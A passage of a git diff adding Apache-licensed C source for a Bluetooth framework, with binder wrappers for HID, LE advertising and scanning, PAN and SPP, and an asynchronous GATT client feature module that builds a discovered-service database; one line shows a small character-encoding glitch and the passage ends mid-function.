+++ b/framework/binder/bt_hid_device.c @@ -0,0 +1,117 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hid_device_api" + +#include <stdint.h> + +#include "bluetooth.h" +#include "bt_hid_device.h" +#include "bt_profile.h" + +#include "hid_device_callbacks_stub.h" +#include "hid_device_proxy.h" +#include "hid_device_stub.h" + +#include "utils/log.h" + +void* bt_hid_device_register_callbacks(bt_instance_t* ins, const hid_device_callbacks_t* callbacks) +{ + BpBtHidd* hidd = (BpBtHidd*)bluetooth_get_proxy(ins, PROFILE_HID_DEV); + + IBtHiddCallbacks* cbks = BtHiddCallbacks_new(callbacks); + AIBinder* binder = BtHiddCallbacks_getBinder(cbks); + if (!binder) { + BtHiddCallbacks_delete(cbks); + return NULL; + } + + void* remote_cbks = BpBtHidd_registerCallback(hidd, binder); + if (!remote_cbks) { + BtHiddCallbacks_delete(cbks); + return NULL; + } + cbks->cookie = remote_cbks; + + return cbks; +} + +bool bt_hid_device_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + IBtHiddCallbacks* cbks = cookie; + BpBtHidd* hidd = (BpBtHidd*)bluetooth_get_proxy(ins, PROFILE_HID_DEV); + + bool ret = BpBtHidd_unRegisterCallback(hidd, cbks->cookie); + if (ret) + BtHiddCallbacks_delete(cbks); + + return ret; +} + +bt_status_t bt_hid_device_register_app(bt_instance_t* ins, hid_device_sdp_settings_t* sdp, bool le_hid) +{ + BpBtHidd* hidd = (BpBtHidd*)bluetooth_get_proxy(ins, PROFILE_HID_DEV); + + return BpBtHidd_registerApp(hidd, sdp, le_hid); +} + +bt_status_t bt_hid_device_unregister_app(bt_instance_t* ins) +{ + BpBtHidd* hidd = (BpBtHidd*)bluetooth_get_proxy(ins, PROFILE_HID_DEV); + + return BpBtHidd_unregisterApp(hidd); +} + +bt_status_t bt_hid_device_connect(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHidd* hidd = (BpBtHidd*)bluetooth_get_proxy(ins, PROFILE_HID_DEV); + + return BpBtHidd_connect(hidd, addr); +} + +bt_status_t bt_hid_device_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHidd* hidd = (BpBtHidd*)bluetooth_get_proxy(ins, PROFILE_HID_DEV); + + return BpBtHidd_disconnect(hidd, addr); +} + +bt_status_t bt_hid_device_send_report(bt_instance_t* ins, bt_address_t* addr, uint8_t rpt_id, uint8_t* rpt_data, int rpt_size) +{ + BpBtHidd* hidd = (BpBtHidd*)bluetooth_get_proxy(ins, PROFILE_HID_DEV); + + return BpBtHidd_sendReport(hidd, addr, rpt_id, rpt_data, rpt_size); +} + +bt_status_t bt_hid_device_response_report(bt_instance_t* ins, bt_address_t* addr, uint8_t rpt_type, uint8_t* rpt_data, int rpt_size) +{ + BpBtHidd* hidd = (BpBtHidd*)bluetooth_get_proxy(ins, PROFILE_HID_DEV); + + return BpBtHidd_responseReport(hidd, addr, rpt_type, rpt_data, rpt_size); +} + +bt_status_t bt_hid_device_report_error(bt_instance_t* ins, bt_address_t* addr, hid_status_error_t error) +{ + BpBtHidd* hidd = (BpBtHidd*)bluetooth_get_proxy(ins, PROFILE_HID_DEV); + + return BpBtHidd_reportError(hidd, addr, error); +} + +bt_status_t bt_hid_device_virtual_unplug(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtHidd* hidd = (BpBtHidd*)bluetooth_get_proxy(ins, PROFILE_HID_DEV); + + return BpBtHidd_virtualUnplug(hidd, addr); +} diff --git a/framework/binder/bt_le_advertiser.c b/framework/binder/bt_le_advertiser.c new file mode 100644 index 0000000000000000000000000000000000000000..6997e164723490509442a12c9a4b87c7e38125b2 --- /dev/null +++ b/framework/binder/bt_le_advertiser.c @@ -0,0 +1,77 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "adv" + +#include <stdlib.h> + +#include "adapter_proxy.h" +#include "adapter_stub.h" +#include "advertiser_callbacks_stub.h" +#include "bluetooth.h" +#include "bt_le_advertiser.h" +#include "bt_list.h" +#include "utils/log.h" + +bt_advertiser_t* bt_le_start_advertising(bt_instance_t* ins, + ble_adv_params_t* params, + uint8_t* adv_data, + uint16_t adv_len, + uint8_t* scan_rsp_data, + uint16_t scan_rsp_len, + advertiser_callback_t* cbs) +{ + BpBtAdapter* bpAdapter = ins->adapter_proxy; + + IBtAdvertiserCallbacks* cbks = BtAdvertiserCallbacks_new(cbs); + AIBinder* binder = BtAdvertiserCallbacks_getBinder(cbks); + if (!binder) { + BtAdvertiserCallbacks_delete(cbks); + return NULL; + } + + void* rmt_adver = BpBtAdapter_startAdvertising(bpAdapter, params, + adv_data, adv_len, + scan_rsp_data, + scan_rsp_len, binder); + AIBinder_decStrong(binder); + if (!rmt_adver) { + BtAdvertiserCallbacks_delete(cbks); + return NULL; + } + + cbks->cookie = rmt_adver; + return (bt_advertiser_t*)cbks; +} + +void bt_le_stop_advertising(bt_instance_t* ins, bt_advertiser_t* adver) +{ + BpBtAdapter* bpAdapter = ins->adapter_proxy; + IBtAdvertiserCallbacks* cbks = adver; + + BpBtAdapter_stopAdvertising(bpAdapter, cbks->cookie); +} + +void bt_le_stop_advertising_id(bt_instance_t* ins, uint8_t adv_id) +{ + BpBtAdapter* bpAdapter = ins->adapter_proxy; + + BpBtAdapter_stopAdvertisingId(bpAdapter, adv_id); +} + +bool bt_le_advertising_is_supported(bt_instance_t* ins) +{ + return false; +} diff --git a/framework/binder/bt_le_scan.c b/framework/binder/bt_le_scan.c new file mode 100644 index 0000000000000000000000000000000000000000..5d2eaf09249a1a24d9aa55ec960a2d6deb26ab95 --- /dev/null +++ b/framework/binder/bt_le_scan.c @@ -0,0 +1,73 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "adv" + +#include <stdlib.h> + +#include "adapter_proxy.h" +#include "adapter_stub.h" +#include "bluetooth.h" +#include "bt_le_scan.h" +#include "bt_list.h" +#include "scanner_callbacks_stub.h" +#include "utils/log.h" + +bt_scanner_t* bt_le_start_scan(bt_instance_t* ins, const scanner_callbacks_t* cbs) +{ + return bt_le_start_scan_settings(ins, NULL, cbs); +} + +bt_scanner_t* bt_le_start_scan_settings(bt_instance_t* ins, + ble_scan_settings_t* settings, + const scanner_callbacks_t* cbs) +{ + BpBtAdapter* bpAdapter = ins->adapter_proxy; + void* rmt_scanner = NULL; + + IBtScannerCallbacks* cbks = BtScannerCallbacks_new(cbs); + AIBinder* binder = BtScannerCallbacks_getBinder(cbks); + if (!binder) { + BtScannerCallbacks_delete(cbks); + return NULL; + } + + if (settings) + rmt_scanner = BpBtAdapter_startScanSettings(bpAdapter, settings, binder); + else + rmt_scanner = BpBtAdapter_startScan(bpAdapter, binder); + + AIBinder_decStrong(binder); + if (!rmt_scanner) { + BtScannerCallbacks_delete(cbks); + return NULL; + } + + cbks->cookie = rmt_scanner; + return (bt_scanner_t*)cbks; +} + +void bt_le_stop_scan(bt_instance_t* ins, bt_scanner_t* scanner) +{ + BpBtAdapter* bpAdapter = ins->adapter_proxy; + IBtScannerCallbacks* cbks = scanner; + + BpBtAdapter_stopScan(bpAdapter, cbks->cookie); +} + +bool bt_le_scan_is_supported(bt_instance_t* ins) +{ + return false; +} diff --git a/framework/binder/bt_pan.c b/framework/binder/bt_pan.c new file mode 100644 index 0000000000000000000000000000000000000000..090e3062682e2f5a491e2fa791352c2f53795f8b --- /dev/null +++ b/framework/binder/bt_pan.c @@ -0,0 +1,75 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "pan_api" + +#include <stdint.h> + +#include "bluetooth.h" +#include "bt_pan.h" +#include "bt_profile.h" + +#include "pan_callbacks_stub.h" +#include "pan_proxy.h" +#include "pan_stub.h" + +#include "utils/log.h" + +void* bt_pan_register_callbacks(bt_instance_t* ins, const pan_callbacks_t* callbacks) +{ + BpBtPan* pan = (BpBtPan*)bluetooth_get_proxy(ins, PROFILE_PANU); + + IBtPanCallbacks* cbks = BtPanCallbacks_new(callbacks); + AIBinder* binder = BtPanCallbacks_getBinder(cbks); + if (!binder) { + BtPanCallbacks_delete(cbks); + return NULL; + } + + void* remote_cbks = BpBtPan_registerCallback(pan, binder); + if (!remote_cbks) { + BtPanCallbacks_delete(cbks); + return NULL; + } + cbks->cookie = remote_cbks; + + return cbks; +} + +bool bt_pan_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + IBtPanCallbacks* cbks = cookie; + BpBtPan* pan = (BpBtPan*)bluetooth_get_proxy(ins, PROFILE_PANU); + + bool ret = BpBtPan_unRegisterCallback(pan, cbks->cookie); + if (ret) + BtPanCallbacks_delete(cbks); + + return ret; +} + +bt_status_t bt_pan_connect(bt_instance_t* ins, bt_address_t* addr, uint8_t dst_role, uint8_t src_role) +{ + BpBtPan* pan = (BpBtPan*)bluetooth_get_proxy(ins, PROFILE_PANU); + + return BpBtPan_connect(pan, addr, dst_role, src_role); +} + +bt_status_t bt_pan_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + BpBtPan* pan = (BpBtPan*)bluetooth_get_proxy(ins, PROFILE_PANU); + + return BpBtPan_disconnect(pan, addr); +} \ No newline at end of file diff --git a/framework/binder/bt_spp.c b/framework/binder/bt_spp.c new file mode 100644 index 0000000000000000000000000000000000000000..50029a576740871a0e9ae900b2189c67286cc1d9 --- /dev/null +++ b/framework/binder/bt_spp.c @@ -0,0 +1,93 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "spp_api" + +#include <stdint.h> + +#include "bluetooth.h" +#include "bt_profile.h" +#include "bt_spp.h" + +#include "spp_callbacks_stub.h" +#include "spp_proxy.h" +#include "spp_stub.h" + +#include "utils/log.h" + +void* bt_spp_register_app(bt_instance_t* ins, const spp_callbacks_t* callbacks) +{ + BpBtSpp* spp = (BpBtSpp*)bluetooth_get_proxy(ins, PROFILE_SPP); + + IBtSppCallbacks* cbks = BtSppCallbacks_new(callbacks); + AIBinder* binder = BtSppCallbacks_getBinder(cbks); + if (!binder) { + BtSppCallbacks_delete(cbks); + return NULL; + } + + void* handle = BpBtSpp_registerApp(spp, binder); + if (!handle) { + BtSppCallbacks_delete(cbks); + return NULL; + } + cbks->cookie = handle; + + return cbks; +} + +bt_status_t bt_spp_unregister_app(bt_instance_t* ins, void* handle) +{ + IBtSppCallbacks* cbks = handle; + BpBtSpp* spp = (BpBtSpp*)bluetooth_get_proxy(ins, PROFILE_SPP); + + bt_status_t status = BpBtSpp_unRegisterApp(spp, cbks->cookie); + if (status == BT_STATUS_SUCCESS) + BtSppCallbacks_delete(cbks); + + return status; +} + +bt_status_t bt_spp_server_start(bt_instance_t* ins, void* handle, uint16_t scn, bt_uuid_t* uuid, uint8_t max_connection) +{ + IBtSppCallbacks* cbks = handle; + BpBtSpp* spp = (BpBtSpp*)bluetooth_get_proxy(ins, PROFILE_SPP); + + return BpBtSpp_serverStart(spp, cbks->cookie, scn, uuid, max_connection); +} + +bt_status_t bt_spp_server_stop(bt_instance_t* ins, void* handle, uint16_t scn) +{ + IBtSppCallbacks* cbks = handle; + BpBtSpp* spp = (BpBtSpp*)bluetooth_get_proxy(ins, PROFILE_SPP); + + return BpBtSpp_serverStop(spp, cbks->cookie, scn); +} + +bt_status_t bt_spp_connect(bt_instance_t* ins, void* handle, bt_address_t* addr, int16_t scn, bt_uuid_t* uuid, uint16_t* port) +{ + IBtSppCallbacks* cbks = handle; + BpBtSpp* spp = (BpBtSpp*)bluetooth_get_proxy(ins, PROFILE_SPP); + + return BpBtSpp_connect(spp, cbks->cookie, addr, scn, uuid, port); +} + +bt_status_t bt_spp_disconnect(bt_instance_t* ins, void* handle, bt_address_t* addr, uint16_t port) +{ + IBtSppCallbacks* cbks = handle; + BpBtSpp* spp = (BpBtSpp*)bluetooth_get_proxy(ins, PROFILE_SPP); + + return BpBtSpp_disconnect(spp, cbks->cookie, addr, port); +} \ No newline at end of file diff --git a/framework/btwrap/async/bt_gatt_feature.c b/framework/btwrap/async/bt_gatt_feature.c new file mode 100644 index 0000000000000000000000000000000000000000..25b53a4a5da60c7f7d933001b2cf540a7a215910 --- /dev/null +++ b/framework/btwrap/async/bt_gatt_feature.c @@ -0,0 +1,1100 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdbool.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_addr.h" +#include "bt_gatt_defs.h" +#include "bt_gatt_feature.h" +#include "bt_gattc.h" +#include "bt_list.h" +#include "bt_status.h" +#include "bt_uuid.h" + +#if defined(BT_FEATURE_LOG_ON) +#define BT_FEATURE_LOG(fmt, ...) syslog(LOG_INFO, "[feature] " fmt "\n", ##__VA_ARGS__) +#else +#define BT_FEATURE_LOG(fmt, ...) \ + do { \ + } while (0) +#endif + +#define BT_GATTC_FEATURE_DISCOVERY_DONE 0U /* Special marker: indicates all services discovered */ + +#define BT_GATTC_FEATURE_INVOKE_CB(client, cb_field, ...) \ + do { \ + if ((client) && (client)->callbacks.cb_field) \ + (client)->callbacks.cb_field(__VA_ARGS__); \ + } while (0) + +typedef struct gatt_client gatt_client_t; + +typedef struct { + gatt_client_t* client; + bool service_range_ends; + bool services_discover_ends; +} get_attr_user_data_t; + +struct gatt_client { + gattc_handle_t conn; + bt_gattc_feature_callbacks_t callbacks; + bool connected; + bool services_discovering; + + struct { + bt_gattc_feature_create_client_cb_t create_client_cb; + void* create_userdata; + } create_client_ctx; + + struct { + bt_gattc_feature_delete_client_cb_t delete_client_cb; + void* delete_userdata; + } delete_client_ctx; + + bt_instance_t* ins; + bt_list_t* services_db; + bt_list_t* temp_attrs; +}; + +static bt_list_t* g_gatt_client_list = NULL; + +static void gatt_feature_free_service(void* data) +{ + size_t i; + gatt_descriptor_t* descriptor_array; + gatt_service_t* service; + + if (!data) + return; + + service = (gatt_service_t*)data; + + if (service->characteristics) { + for (i = 0; i < service->characteristic_count; ++i) { + descriptor_array = service->characteristics[i].descriptors; + + if (descriptor_array) { + free(descriptor_array); + service->characteristics[i].descriptors = NULL; + service->characteristics[i].descriptor_count = 0; + } + } + + free(service->characteristics); + service->characteristics = NULL; + service->characteristic_count = 0; + } + + if (service->included_services) { + free(service->included_services); + service->included_services = NULL; + service->included_service_count = 0; + } + + free(service); +} + +bool discovery_database_create(gatt_client_t* client) +{ + if (!client) + return false; + + if (!client->temp_attrs) { + client->temp_attrs = bt_list_new(free); + if (!client->temp_attrs) { + return false; + } + } + if (!client->services_db) { + client->services_db = bt_list_new(gatt_feature_free_service); + if (!client->services_db) { + bt_list_free(client->temp_attrs); + return false; + } + } + return true; +} + +void discovery_database_clear(gatt_client_t* client) +{ + if (!client) + return; + + if (client->services_db) + bt_list_clear(client->services_db); + if (client->temp_attrs) + bt_list_clear(client->temp_attrs); +} + +void discovery_database_destroy(gatt_client_t* client) +{ + if (!client) + return; + + if (client->services_db) { + bt_list_free(client->services_db); + client->services_db = NULL; + } + if (client->temp_attrs) { + bt_list_free(client->temp_attrs); + client->temp_attrs = NULL; + } +} + +static gatt_client_t* find_client_by_conn(gattc_handle_t conn) +{ + bt_list_node_t* node; + gatt_client_t* client; + + if (!g_gatt_client_list) + return NULL; + + for (node = bt_list_head(g_gatt_client_list); node; + node = bt_list_next(g_gatt_client_list, node)) { + + client = (gatt_client_t*)bt_list_node(node); + + if (client && client->conn == conn) + return client; + } + + return NULL; +} + +static void free_client_instance(void* data) +{ + gatt_client_t* client; + + if (!data) + return; + + client = (gatt_client_t*)data; + + discovery_database_destroy(client); + + free(client); +} + +static gatt_service_t* find_service_by_uuid(gatt_client_t* client, const bt_uuid_t* service_uuid) +{ + bt_list_node_t* node; + gatt_service_t* service; + + if (!client || !client->services_db || !service_uuid) + return NULL; + + for (node = bt_list_head(client->services_db); node; + node = bt_list_next(client->services_db, node)) { + + service = (gatt_service_t*)bt_list_node(node); + + if (service && bt_uuid_compare(&service->uuid, service_uuid) == 0) + return service; + } + + return NULL; +} + +static gatt_characteristic_t* find_char_by_uuid(const gatt_service_t* service, const bt_uuid_t* char_uuid) +{ + size_t i; + gatt_characteristic_t* characteristic; + + if (!service || !service->characteristics || !char_uuid) + return NULL; + + for (i = 0; i < service->characteristic_count; ++i) { + characteristic = &service->characteristics[i]; + + if (bt_uuid_compare(&characteristic->uuid, char_uuid) == 0) + return characteristic; + } + + return NULL; +} + +static gatt_descriptor_t* find_desc_by_uuid(const gatt_characteristic_t* characteristic, const bt_uuid_t* desc_uuid) +{ + size_t i; + gatt_descriptor_t* descriptor; + + if (!characteristic || !desc_uuid || !characteristic->descriptors) + return NULL; + + for (i = 0; i < characteristic->descriptor_count; ++i) { + descriptor = &characteristic->descriptors[i]; + + if (bt_uuid_compare(&descriptor->uuid, desc_uuid) == 0) + return descriptor; + } + + return NULL; +} + +static gatt_characteristic_t* find_char_by_value_handle(gatt_client_t* client, uint16_t value_handle) +{ + bt_list_node_t* node; + gatt_service_t* service; + size_t i; + gatt_characteristic_t* characteristic; + + if (!client || !client->services_db) + return NULL; + + for (node = bt_list_head(client->services_db); node; node = bt_list_next(client->services_db, node)) { + service = (gatt_service_t*)bt_list_node(node); + + if (!service || !service->characteristics) + continue; + + for (i = 0; i < service->characteristic_count; ++i) { + characteristic = &service->characteristics[i]; + + if (characteristic->value_handle == value_handle) + return characteristic; + } + } + + return NULL; +} + +static gatt_descriptor_t* find_desc_by_attr_handle(gatt_client_t* client, uint16_t attr_handle) +{ + bt_list_node_t* node; + gatt_service_t* service; + size_t i, j; + gatt_characteristic_t* characteristic; + gatt_descriptor_t* descriptor; + + if (!client || !client->services_db) + return NULL; + + for (node = bt_list_head(client->services_db); node; node = bt_list_next(client->services_db, node)) { + service = (gatt_service_t*)bt_list_node(node); + + if (!service || !service->characteristics) + continue; + + for (i = 0; i < service->characteristic_count; ++i) { + characteristic = &service->characteristics[i]; + + for (j = 0; j < characteristic->descriptor_count; ++j) { + + descriptor = &characteristic->descriptors[j]; + + if (descriptor->attr_handle == attr_handle) + return descriptor; + } + } + } + + return NULL; +} + +static void gatt_service_list_to_array(bt_list_t* list, + const gatt_service_t* out_array[]) +{ + bt_list_node_t* node; + size_t i = 0; + + for (node = bt_list_head(list); node != NULL; + node = bt_list_next(list, node)) { + out_array[i++] = (gatt_service_t*)bt_list_node(node); + } +} + +static gatt_service_t* build_service_from_attr_list(bt_list_t* attr_list) +{ + gatt_service_t* service; + gatt_characteristic_t* current_char; + bt_list_node_t* node; + gatt_attr_desc_t* attr; + + gatt_characteristic_t* new_chars; + gatt_descriptor_t* new_descs; + gatt_descriptor_t* desc; + gatt_include_service_t* new_includes; + gatt_include_service_t* inc; + + if (!attr_list) + return NULL; + + service = (gatt_service_t*)zalloc(sizeof(gatt_service_t)); + + if (!service) + return NULL; + + current_char = NULL; + + for (node = bt_list_head(attr_list); node; node = bt_list_next(attr_list, node)) { + attr = (gatt_attr_desc_t*)bt_list_node(node); + + if (!attr) + continue; + + switch (attr->type) { + case GATT_PRIMARY_SERVICE: + case GATT_SECONDARY_SERVICE: + service->uuid = attr->uuid; + service->attr_handle = attr->handle; + service->is_primary = (attr->type == GATT_PRIMARY_SERVICE); + break; + + case GATT_CHARACTERISTIC: + service->characteristic_count++; + new_chars = (gatt_characteristic_t*)realloc(service->characteristics, + service->characteristic_count * sizeof(gatt_characteristic_t)); + + if (!new_chars) + goto error; + + service->characteristics = new_chars; + current_char = &service->characteristics[service->characteristic_count - 1]; + memset(current_char, 0, sizeof(gatt_characteristic_t)); + current_char->service_uuid = service->uuid; + current_char->uuid = attr->uuid; + current_char->properties = attr->properties; + current_char->value_handle = attr->handle; + break; + + case GATT_DESCRIPTOR: + if (current_char) { + current_char->descriptor_count++; + new_descs = (gatt_descriptor_t*)realloc(current_char->descriptors, + current_char->descriptor_count * sizeof(gatt_descriptor_t)); + + if (!new_descs) + goto error; + + current_char->descriptors = new_descs; + desc = ¤t_char->descriptors[current_char->descriptor_count - 1]; + memset(desc, 0, sizeof(gatt_descriptor_t)); + desc->service_uuid = service->uuid; + desc->characteristic_uuid = current_char->uuid; + desc->uuid = attr->uuid; + desc->attr_handle = attr->handle; + } + break; + + case GATT_INCLUDED_SERVICE: + service->included_service_count++; + new_includes = (gatt_include_service_t*)realloc(service->included_services, + service->included_service_count * sizeof(gatt_include_service_t)); + + if (!new_includes) + goto error; + + service->included_services = new_includes; + inc = &service->included_services[service->included_service_count - 1]; + memset(inc, 0, sizeof(gatt_include_service_t)); + inc->attr_handle = attr->handle; + inc->start_handle = 0; + inc->end_handle = 0; + inc->included_service_uuid = service->uuid; + break; + + default: + break; + } + } + + return service; + +error: + gatt_feature_free_service(service); + return NULL; +} + +static void feature_on_connected(void* conn_handle, bt_address_t* addr) +{ + gatt_client_t* client; + + client = find_client_by_conn((gattc_handle_t)conn_handle); + + if (!client) + return; + + client->connected = true; + + BT_FEATURE_LOG("connected: conn=%p", conn_handle); + + BT_GATTC_FEATURE_INVOKE_CB(client, on_connected, client->ins, GATT_STATUS_SUCCESS, client->conn); +} + +static void feature_on_disconnected(void* conn_handle, bt_address_t* addr) +{ + gatt_client_t* client; + + (void)addr; + + client = find_client_by_conn((gattc_handle_t)conn_handle); + + if (!client) + return; + + client->connected = false; + BT_FEATURE_LOG("disconnected: conn=%p", conn_handle); + + client->services_discovering = false; + discovery_database_clear(client); + + BT_GATTC_FEATURE_INVOKE_CB(client, on_disconnected, client->ins, GATT_STATUS_SUCCESS, + client->conn); +} + +static void feature_get_attribute_cb(bt_instance_t* ins, bt_status_t status, + gatt_attr_desc_t* attr_desc, void* userdata) +{ + get_attr_user_data_t* user_data; + gatt_client_t* client; + gatt_attr_desc_t* attr_node; + gatt_service_t* service; + size_t service_count; + const gatt_service_t** service_array; + + (void)ins; + + user_data = (get_attr_user_data_t*)userdata; + + if (!user_data) { + BT_FEATURE_LOG("no user data"); + return; + } + + client = user_data->client; + + if (!client) { + BT_FEATURE_LOG("no client"); + free(user_data); + return; + } + + if (!client->services_discovering) { + BT_FEATURE_LOG("not in discovering state"); + free(user_data); + return; + } + + if (user_data->services_discover_ends) { + BT_FEATURE_LOG("last service"); + + free(user_data); + + client->services_discovering = false; + + service_count = bt_list_length(client->services_db); + service_array = calloc(service_count, sizeof(gatt_service_t*)); + + if (!service_array) { + BT_GATTC_FEATURE_INVOKE_CB(client, on_discovered, + client->ins, GATT_STATUS_FAILURE, + client->conn, NULL, 0); + return; + } + + gatt_service_list_to_array(client->services_db, service_array); + BT_GATTC_FEATURE_INVOKE_CB(client, on_discovered, + client->ins, GATT_STATUS_SUCCESS, + client->conn, service_array, service_count); + + free(service_array); + return; + } + + if (status != BT_STATUS_SUCCESS || !attr_desc) { + BT_FEATURE_LOG("status=%d", status); + free(user_data); + return; + } + + attr_node = (gatt_attr_desc_t*)malloc(sizeof(gatt_attr_desc_t)); + memcpy(attr_node, attr_desc, sizeof(gatt_attr_desc_t)); + + bt_list_add_tail(client->temp_attrs, attr_node); + + if (user_data->service_range_ends) { + service = build_service_from_attr_list(client->temp_attrs); + + bt_list_clear(client->temp_attrs); + + if (service) { + bt_list_add_tail(client->services_db, service); + } + } + + free(user_data); +} + +static void feature_on_discovered(void* conn_handle, gatt_status_t status, + bt_uuid_t* uuid, uint16_t start_handle, uint16_t end_handle) +{ + gatt_client_t* client; + uint16_t handle; + get_attr_user_data_t* cb_data; + bt_status_t ret; + + client = find_client_by_conn((gattc_handle_t)conn_handle); + if (!client) + return; + + if (status != GATT_STATUS_SUCCESS) { + client->services_discovering = false; + BT_GATTC_FEATURE_INVOKE_CB(client, on_discovered, client->ins, status, + client->conn, NULL, 0); + return; + } + + if (!client->services_discovering) { + BT_FEATURE_LOG("not in discovering state"); + return; + } + + if (!uuid || !uuid->type) { + BT_FEATURE_LOG("get_service done"); + + cb_data = (get_attr_user_data_t*)zalloc(sizeof(*cb_data)); + if (cb_data) { + cb_data->client = client; + cb_data->services_discover_ends = true; + + ret = bt_gattc_get_attribute_by_handle_async(client->conn, BT_GATTC_FEATURE_DISCOVERY_DONE, + feature_get_attribute_cb, cb_data); + + if (ret == BT_STATUS_SUCCESS) { + return; + } + + free(cb_data); + } else { + BT_FEATURE_LOG("malloc fail"); + } + client->services_discovering = false; + BT_GATTC_FEATURE_INVOKE_CB(client, on_discovered, + client->ins, GATT_STATUS_FAILURE, + client->conn, NULL, 0); + + return; + } + + for (handle = start_handle; handle <= end_handle; ++handle) { + cb_data = (get_attr_user_data_t*)zalloc(sizeof(get_attr_user_data_t)); + + if (!cb_data) { + BT_FEATURE_LOG("malloc fail"); + continue; + } + + cb_data->client = client; + cb_data->service_range_ends = (handle == end_handle) ? true : false; + + ret = bt_gattc_get_attribute_by_handle_async(client->conn, handle, feature_get_attribute_cb, cb_data); + + if (ret != BT_STATUS_SUCCESS) { + free(cb_data); + } + } +} + +static void feature_on_read(void* conn_handle, gatt_status_t status, + uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gatt_client_t* client; + gatt_descriptor_t* descriptor; + gatt_characteristic_t* characteristic; + + client = find_client_by_conn((gattc_handle_t)conn_handle); + + if (!client) + return; + + characteristic = find_char_by_value_handle(client, attr_handle); + + if (characteristic) { + characteristic->value = value; + characteristic->value_len = (size_t)length; + + BT_GATTC_FEATURE_INVOKE_CB(client, on_read_char, + client->ins, status, client->conn, characteristic); + + return; + } + + descriptor = find_desc_by_attr_handle(client, attr_handle); + + if (descriptor) { + descriptor->value = value; + descriptor->value_len = (size_t)length; + + BT_GATTC_FEATURE_INVOKE_CB(client, on_read_desc, + client->ins, status, client->conn, descriptor); + + return; + } + + BT_FEATURE_LOG("%s: unknown attr handle 0x%04x", __func__, attr_handle); +} + +static void feature_on_written(void* conn_handle, gatt_status_t status, uint16_t attr_handle) +{ + gatt_client_t* client = find_client_by_conn((gattc_handle_t)conn_handle); + + if (!client) + return; + + gatt_characteristic_t* characteristic = find_char_by_value_handle(client, attr_handle); + + if (characteristic) { + BT_GATTC_FEATURE_INVOKE_CB(client, on_write_char, + client->ins, status, client->conn); + return; + } + + gatt_descriptor_t* descriptor = find_desc_by_attr_handle(client, attr_handle); + + if (descriptor) { + BT_GATTC_FEATURE_INVOKE_CB(client, on_write_desc, + client->ins, status, client->conn); + return; + } + + BT_FEATURE_LOG("%s: unknown attr handle 0x%04x", __func__, attr_handle); +} + +static void feature_on_subscribed(void* conn_handle, gatt_status_t status, + uint16_t attr_handle, bool enable) +{ + gatt_client_t* client = find_client_by_conn((gattc_handle_t)conn_handle); + + if (!client) + return; + + BT_GATTC_FEATURE_INVOKE_CB(client, on_subscribed, client->ins, status, client->conn, + enable); +} + +static void feature_on_notified(void* conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gatt_client_t* client = find_client_by_conn((gattc_handle_t)conn_handle); + if (!client) + return; + + gatt_characteristic_t* characteristic = find_char_by_value_handle(client, attr_handle); + + if (!characteristic) + return; + + characteristic->value = value; + characteristic->value_len = (size_t)length; + + BT_GATTC_FEATURE_INVOKE_CB(client, on_notified, + client->ins, client->conn, characteristic); +} + +static void feature_on_mtu_updated(void* conn_handle, gatt_status_t status, uint32_t mtu) +{ + 